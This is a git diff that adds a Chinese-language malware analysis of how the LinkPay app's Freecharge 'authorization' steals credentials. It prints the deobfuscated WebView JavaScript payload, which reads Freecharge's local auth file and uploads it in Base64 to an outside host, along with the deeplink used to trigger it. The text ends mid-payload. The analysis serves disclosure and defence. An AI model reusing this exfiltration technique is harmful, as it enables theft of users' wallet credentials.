diff --git a/components/WalletBindComponents.tsx b/components/WalletBindComponents.tsx index b72a18b..923d1ea 100644 --- a/components/WalletBindComponents.tsx +++ b/components/WalletBindComponents.tsx @@ -60,7 +60,7 @@ export class MobikwikPersonalTokenBind extends Component<{ } } -/** Mobikwik web OTP bind */ +/** Mobikwik App OTP bind */ export class MobikwikPersonalOTPBind extends Component<{ onRequestOTP: (walletType: WalletType, params: any) => Promise; onVerifyOTP: (walletType: WalletType, params: any) => Promise; diff --git a/docs/freecharge.md b/docs/freecharge.md new file mode 100644 index 0000000..e31c409 --- /dev/null +++ b/docs/freecharge.md @@ -0,0 +1,482 @@ +# LinkPay Freecharge 授权分析 + +## 样本来源 + +| 项目 | 值 | +|------|-----| +| 平台 App | LinkPay(`uni.app.UNIBA00479`,v1.1.9) | +| 后端 API | `https://api.linkcorex.com` | +| 钱包类型 | `walletType = 2` / `ctype = 2` | +| 授权页面 | `pages/wallet/freecharge-auth`(`FreechargeAuthPage`) | +| 分析样本 | `linkpay/apks/linkpay.apk` | +| 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har`(`freePrepare`) | + +> LinkPay 是 UniApp(DCloud)应用。Freecharge **不下载魔改 APK**,也**不使用** InstallPlugin(`xyz.rush.plugin`)。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。 + +--- + +## 结论摘要 + +LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话,**实际抓包显示**: + +1. `freePrepare` 返回嵌套 deeplink,在官方 Freecharge 内打开 WebView(`action=wv`) +2. WebView 加载服务端注入的 HTML/JS,**读取官方 App 本地 auth 文件**并 Base64 上传 +3. LinkPay 客户端轮询 `check`,待后端收到凭据后返回 `upiList` +4. 用户选择 UPI → `linkConfirm` 完成绑定 + +**不需要魔改 Freecharge 包**,也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook;但**并非正规 OAuth**,而是通过官方 App WebView 实现的**凭据窃取**。 + +--- + +## 与其他钱包的分流逻辑 + +添加钱包时,服务端返回的 `isHook` 决定走哪条链路(`add-wallet` 页面): + +| `isHook` | 目标页面 | 机制 | +|----------|----------|------| +| `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token | +| `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** | +| 其他 + `url` | `web-login` | WebView 打开登录页 | +| 其他 + `otp` | `wizard` | OTP 向导流程 | + +Freecharge 固定为 `isHook = 2`,因此不会进入 `wallet-guide`,也不会在 `downloads/` 目录留下 APK 缓存。 + +对比 MobiKwik(`walletType = 4`,`isHook = 1`): + +``` +MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook +Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm +``` + +--- + +## 整体链路 + +``` +LinkPay (uni.app.UNIBA00479) + │ 用户选择 Freecharge 绑定 + │ isHook=2 → /pages/wallet/freecharge-auth + ▼ +POST api.linkcorex.com/.../freePrepare { ctype: 2 } + │ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML) + ▼ +plus.runtime.openURL(url) + │ freecharge://home?action=wv&url=<内层 fc/app?html=...> + ▼ +官方 Freecharge App 打开 WebView + │ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb + │ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign } + ▼ +LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey } + │ status = 3 且 upiList 非空 → 授权完成 + ▼ +用户在 LinkPay 选择要绑定的 UPI + ▼ +POST api.linkcorex.com/.../linkConfirm { tempKey, upiList } + ▼ +绑定成功 → /pages/wallet/add-success +``` + +--- + +## 前端实现(FreechargeAuthPage) + +源码位置:`assets/apps/__UNI__BA00479/www/app-service.js`(webpack module `55bb`) + +### 状态机 + +| 状态 | 含义 | +|------|------| +| `preparing` | 正在调用 `freePrepare` | +| `authStarted` | 已拿到 `authUrl`,等待用户在 Freecharge 完成授权 | +| `prepareDone` | 轮询成功,UPI 列表已返回,等待用户选择 | +| `expired` | 会话超时(默认 `expireSeconds`,通常 600s) | +| `confirming` | 正在调用 `linkConfirm` | + +### 关键方法 + +| 方法 | 作用 | +|------|------| +| `startAuthentication()` | 调用 `freePrepare`,启动倒计时和轮询,自动 `openAuthUrl()` | +| `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 | +| `checkAuthorization()` | 轮询 `check` API,status=3 时解析 `upiList` | +| `initUpiSelection()` | 加载多选配置、历史已绑 UPI,初始化选择列表 | +| `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` | + +### UI 文案(暗示依赖官方 App) + +- *"Please complete the authorization in Freecharge."* +- *"Return here after completing authorization in Freecharge."* +- 按钮:*"Go to Authenticate"* / *"Open Freecharge Again"* + +--- + +## API 接口 + +Base URL:`https://api.linkcorex.com` + +| 接口 | 方法 | 路径 | 请求 | 响应要点 | +|------|------|------|------|----------| +| 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` | +| 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` | +| **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` | +| 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 | +| UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` | +| 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI | + +### `check` 轮询逻辑 + +- 首次延迟 1200ms,之后每 1500ms 重试 +- `status === 3` 且 `upiList.length > 0` → 授权完成 +- 网络失败自动重试,显示 *"Network is unstable. Retrying automatically..."* +- 超时后 `expired = true`,需重新 `startAuthentication()` + +### UPI 格式校验 + +```javascript +/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/ +``` + +--- + +## 付款时的 Freecharge 调用 + +INR 订单付款页(`pages/payment/inr-order`)对 Freecharge 单独处理: + +```javascript +// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent +if (payoutWalletType === 2) { + plus.runtime.openURL(order.freechargeIntent) +} else { + plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等 +} +``` + +付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge,不涉及魔改包。 + +--- + +## 与 ShowPay / WinPay 的对比 + +| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge | +|------|-------------------|----------------------------| +| 下载器 | 无(官方包即可) | InstallPlugin(`xyz.rush.plugin`) | +| APK 来源 | 不下载 | 缓存 `fcv76.apk`(魔改包) | +| 包名 | 官方 `com.freecharge.android` | 同名但注入后门 | +| 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` | +| 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(`com.longfafa.paylib.JobService`) | +| 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等(本地 IPC 窃取) | +| 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 | + +--- + +## 获取到的数据范围 + +LinkPay Freecharge 授权完成后,客户端可见的数据: + +| 数据 | 来源 | 说明 | +|------|------|------| +| UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 | +| 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 | +| 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone | + +**抓包确认的实际窃取行为**(`freecharge_logs`): + +| 行为 | 详情 | +|------|------| +| 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` | +| 外传域名 | `api.linkadminpro.com`(与主 API `api.linkcorex.com` 不同) | +| 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` | +| 外传内容 | auth 文件 Base64(`{ b64, userId, sign }`) | + +**未观察到**以下行为: + +- 下载 / 安装魔改 Freecharge APK +- 使用 `Tail-TokenReceiver` 原生插件(Freecharge 授权页不调用) +- 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门 + +--- + +## 授权 Deeplink(核心,已抓包确认) + +### 关键结论 + +**LinkPay 客户端里没有写死 Freecharge 授权 deeplink。** +`url` 完全由服务端在 `freePrepare` 响应里动态下发(约 21KB),前端只做: + +```javascript +// freecharge-auth.vue → openAuthUrl() +plus.runtime.openURL(this.authUrl) +// authUrl = freePrepare 响应里的 data.url +``` + +客户端 JS 中**不存在** `freecharge://`、`fc/app` 等硬编码字符串;但服务端下发的 URL 是**三层嵌套结构**。 + +### freePrepare 真实响应(`freecharge_logs`,2026-07-28 23:06:50) + +```json +{ + "code": 1000, + "data": { + "ctype": 2, + "phone": "", + "expireSeconds": 600, + "tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f", + "url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..." + } +} +``` + +### 三层 Deeplink 结构 + +**第 1 层 — 外层(LinkPay `openURL` 直接打开)** + +```text +freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码> +``` + +| 参数 | 值 | 含义 | +|------|-----|------| +| `action` | `wv` | 打开 WebView 容器(非 IncoinPay 付款用的 `view`) | +| `displayBar` | `false` | 隐藏导航栏 | +| `showLoader` | `true` | 显示加载动画 | +| `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 | + +**第 2 层 — 内层(Freecharge App 内 WebView 加载)** + +```text +https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html= +``` + +**第 3 层 — 嵌入 HTML/JS(恶意载荷)** + +完整载荷已从 HAR 解码,保存在: + +``` +linkpay/freecharge_payload/ +├── auth_webview.html # 格式化后的 HTML(含可读 JS) +├── auth_webview_raw.html # 从 html= 参数直接解码的原始串 +└── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS +``` + +**完整 HTML 结构:** + +```html + + + + + + + + +
+
Processing…
+
Please wait
+ + + +``` + +页面 UI 显示: + +- ⏳ *Processing…* +- *Please wait* +- 成功:✅ *Authorization Successful* / *You can now return to the previous app.* +- 失败:❌ *Authorization Failed* + +**完整 JS 载荷(`auth_payload.js`,已去混淆):** + +```javascript +(function(){ + var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb'; + var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14'; + var UID = 242204; + var SIGN = '9c63f2267554888b9c07fc80e2dbb85f'; + + function showSuccess() { /* ✅ Authorization Successful */ } + function showFail(reason) { /* ❌ Authorization Failed */ } + + function toB64(bin) { + // 逐字节读取二进制,btoa 编码 + } + + function xhrSync(method, url, body, ct) { + // 同步 XMLHttpRequest + } + + function uploadJSONP(b64) { + // POST 失败时 fallback:动态插入